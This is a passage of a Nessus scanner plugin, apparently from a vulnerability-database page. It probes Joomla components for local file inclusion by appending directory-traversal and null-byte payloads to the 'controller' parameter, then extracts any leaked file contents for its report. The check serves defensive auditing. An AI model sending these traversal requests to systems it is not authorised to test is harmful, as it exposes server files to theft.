>< com[i] \|\| "com_perchaimageattach" >< com[i] \|\| "com_record" >< com[i] ) { alt_file = substr(file, 0, strlen(file)-2); file_pats[alt_file] = file_pats[file]; file = alt_file; } if (file[0] == '/') traversal = crap(data:"../", length:39) + '..'; else traversal = '../../../'; if (com_fabrik >!< com[i]) traversal = '/' + traversal; if (substr(file, strlen(file)-4) == ".php") exploit = traversal + substr(file, 0, strlen(file)-4-1); else exploit = traversal + file + "%00"; url = dir + com[i] + "&controller=" + exploit; res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE); # There's a problem if... body = res[2]; file_pat = file_pats[file]; if ( # we see the expected contents or... egrep(pattern:file_pat, string:body) \|\| # we get an error because magic_quotes was enabled or... traversal+file+".php" >< body \|\| # we get an error claiming the file doesn't exist or... file+"): failed to open stream: No such file" >< body \|\| file+") [function.require-once]: failed to open stream: No such file" >< body \|\| file+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: No such file" >< body \|\| # we get an error about open_basedir restriction. file+") [function.require-once]: failed to open stream: Operation not permitted" >< body \|\| file+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: Operation not permitted" >< body \|\| "open_basedir restriction in effect. File("+traversal+file >< body ) { # Make sure it's the affected component unless we're paranoid or we can't. if (report_paranoia < 2 && pat[i]) { url2 = dir + com[i]; res2 = http_send_recv3(port:port, method:"GET", item:url2, exit_on_fail:TRUE); if (!egrep(pattern:pat[i], string:res2[2])) break; } info += " - " + build_url(port:port, qs:url) + '\n'; if (!contents && egrep(pattern:file_pat, string:body)) { found_file = file; if (ereg(pattern:"_(addressbook\|arcadegames\|cvmaker\|diary\|flashgames\|horoscope\|joommail\|market\|memory\|myfiles\|onlineexam\|orgchart\|webtv\|worldrates)$", string:com[i])) { contents = strstr(body, '<table class="nopad"') - '<table class="nopad"'; contents = contents - strstr(contents, '<div id'); contents = contents - strstr(contents, '<h2><center><b>User must be logged in</b>'); contents = contents - strstr(contents, '<style '); contents = contents - strstr(contents, 'USER MUST BE LOGGED IN'); contents = contents - strstr(contents, '\n<html>'); contents = contents - strstr(contents, '\t\t<table '); contents = contents - strstr(contents, '<table '); contents = contents - strstr(contents, '\n<!-- Deafult'); contents = ereg_replace(pattern:'^.+<td>[ \\t\\n\\r]*', replace:'', string:contents); } else if (ereg(pattern:"_fabrik$", string:com[i])) { contents = ""; foreach line (split(body, keep:TRUE)) { if (ereg(pattern:'^<b>Fatal error', string:line)) break; if (!ereg(pattern:'^<b(r /)?>', string:line)) contents += line; } } else { contents = body; if ("<br" >< contents) contents = contents - strstr(contents, "<br"); } } else contents = body; break; } } if (info && !thorough_tests) break; } non_affect = make_list(non_affect, dir); if (info && !thorough_tests) break; } # Audits if (!info) { installs = max_index(non_affect); if (installs == 0) exit(0, "None of the "+app+ " installs (" + join(dirs, sep:" & ") + ") on port " + port+ " are affected."); else if (installs == 1) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port)); else exit(0, "None of the "+app+ " installs (" + join(non_affect, sep:" & ") + ") on port " + port + " are affected."); } # Report findings. if (os && "Windows" >< os) found_file = str_replace(find:'/', replace:'\\', string:found_file); if (empty_or_null(contents)) contents = body; security_report_v4( port : port, severity : SECURITY_HOLE, file : found_file, request : split(info), output : contents, attach_type : 'text/plain' ); exit(0);

Summary

Vulnerable Configurations

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

Exploit-Db

Nessus

References